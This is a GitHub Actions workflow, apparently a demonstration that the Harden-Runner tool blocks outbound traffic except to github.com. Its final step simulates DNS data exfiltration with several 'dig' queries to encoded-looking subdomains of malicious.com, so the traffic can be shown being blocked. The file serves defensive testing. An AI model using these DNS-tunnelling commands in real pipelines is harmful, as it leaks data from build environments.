Block DNS Exfiltration With Harden-Runner #1
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| name: Block DNS Exfiltration With Harden-Runner | |
| on: | |
| workflow_dispatch: | |
| jobs: | |
| build: | |
| name: Deploy | |
| runs-on: ubuntu-latest | |
| steps: | |
| - name: Harden Runner | |
| uses: step-security/harden-runner@v2 | |
| with: | |
| egress-policy: block | |
| allowed-endpoints: | | |
| github.com:443 | |
| - name: Code Checkout | |
| uses: actions/checkout@v4 | |
| # DNS Data Exfiltration | |
| - name: DNS Data Exfiltration | |
| run: | | |
| dig wI25mMRFgqmHdg6Se7F3qcRPg6mHxTXgoroAcQcu0ukreCZVj3ccl1OE4nhT.malicious.com | |
| dig AjgjtZpoQFBk3CA9x2ic1OL4X6cSAbpPGscvTcxlZshd52cmJz6vYf4voTmo.malicious.com | |
| dig uVqkyYsy48uC9q6oZEirkVK7sdHaSCx5v5BitwaBnTjKsjlRamhW6vP1pXNu.malicious.com | |
| dig M6VzSkW4v7KPE0SILITZxLnrrBJiSxRYb0hUBiFJdIz2VpBJwkNOH3MEhesc.malicious.com | |
| dig xd2rqUt1L0RN8IbthvNkOCyhR2FHneUESSM12Gq6ToNxFZkFY0W5KWUnxLtN.malicious.com |